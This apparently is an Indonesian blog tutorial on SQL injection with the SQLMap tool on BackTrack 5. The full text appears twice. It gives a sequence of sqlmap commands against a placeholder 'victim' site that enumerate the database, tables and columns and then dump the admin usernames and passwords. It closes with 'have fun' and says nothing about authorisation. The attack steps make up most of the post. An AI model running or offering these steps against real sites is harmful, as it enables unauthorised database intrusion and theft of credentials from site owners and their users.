Kali ini saya membuat tutorial tentang SQL Injection menggunakan tool SQLMap di BackTrack 5. Apa itu SQLMap ?
sqlmap adalah penetrasi open source pengujian alat yang mengotomatisasi proses mendeteksi dan mengeksploitasi kelemahan SQL injection dan mengambil alih server database.
Sekarang tanpa basa-basi lagi kita mulai injeksi dengan sqlmap.
Langkah - langkah yang harus dilakukan adalah sebagai berikut :
1. Pertama yang harus dipersiapkan adalah situs yang vulnerable.
2. Masuk ke direktori sqlmap
cd /pentest/database/sqlmap
3. Lalu jalankan perintah berikut
./sqlmap.py -u http://site_victim.com/indeks.html?staff_id=8 --random-agent --thread 10 --banner
Hal yang dilakukan diatas adalah untuk mencari celah melalui banner yang ada dalam situs tersebut.
4. Selanjutnya mencari database dan pengguna terakhir dari web tersebut
./sqlmap.py -u http://site-victim.com/indeks.html?staff_id=8 --random-agent --thread 10 --current-user --current-db
contohnya akan tampil seperti ini :
[*] mm_mm >> database dari situs tersebut
[*] mm_mmadmin@localhost >> admin situs tersebut
5. Lakukan injeksi pada database
./sqlmap.py -u http://site_victim.com/indeks.html?staff_id=8 --random-agent --thread 10 --dbs
6. Setelah nama database di dapatkan masukkan perintah berikut untuk melihat isi tables pada database
./sqlmap.py -u http://site_victim.com/indeks.html?staff_id=8 --random-agent --thread 10 -D nama_database --tables
7. Cari columns dari tables database tersebut.
./sqlmap.py -u http://site_victim.com/indeks.html?staff_id=8 --random-agent --thread 10 -D nama_database --columns
8. Columns didapat, masuk ke column untuk mencari username dan password admin
./sqlmap.py -u http://site_victim.com/indeks.html?staff_id=8 --random-agent --thread 10 -D nama_database -C nama_columns --dump
9. Selamat bersenang - senang
Diharapkan koment nya.
Sumber : Berbagai Sumber
sqlmap adalah penetrasi open source pengujian alat yang mengotomatisasi proses mendeteksi dan mengeksploitasi kelemahan SQL injection dan mengambil alih server database.
Sekarang tanpa basa-basi lagi kita mulai injeksi dengan sqlmap.
Langkah - langkah yang harus dilakukan adalah sebagai berikut :
1. Pertama yang harus dipersiapkan adalah situs yang vulnerable.
2. Masuk ke direktori sqlmap
cd /pentest/database/sqlmap
3. Lalu jalankan perintah berikut
./sqlmap.py -u http://site_victim.com/indeks.html?staff_id=8 --random-agent --thread 10 --banner
Hal yang dilakukan diatas adalah untuk mencari celah melalui banner yang ada dalam situs tersebut.
4. Selanjutnya mencari database dan pengguna terakhir dari web tersebut
./sqlmap.py -u http://site-victim.com/indeks.html?staff_id=8 --random-agent --thread 10 --current-user --current-db
contohnya akan tampil seperti ini :
[*] mm_mm >> database dari situs tersebut
[*] mm_mmadmin@localhost >> admin situs tersebut
5. Lakukan injeksi pada database
./sqlmap.py -u http://site_victim.com/indeks.html?staff_id=8 --random-agent --thread 10 --dbs
6. Setelah nama database di dapatkan masukkan perintah berikut untuk melihat isi tables pada database
./sqlmap.py -u http://site_victim.com/indeks.html?staff_id=8 --random-agent --thread 10 -D nama_database --tables
7. Cari columns dari tables database tersebut.
./sqlmap.py -u http://site_victim.com/indeks.html?staff_id=8 --random-agent --thread 10 -D nama_database --columns
8. Columns didapat, masuk ke column untuk mencari username dan password admin
./sqlmap.py -u http://site_victim.com/indeks.html?staff_id=8 --random-agent --thread 10 -D nama_database -C nama_columns --dump
9. Selamat bersenang - senang
Diharapkan koment nya.
Sumber : Berbagai Sumber
0 comments: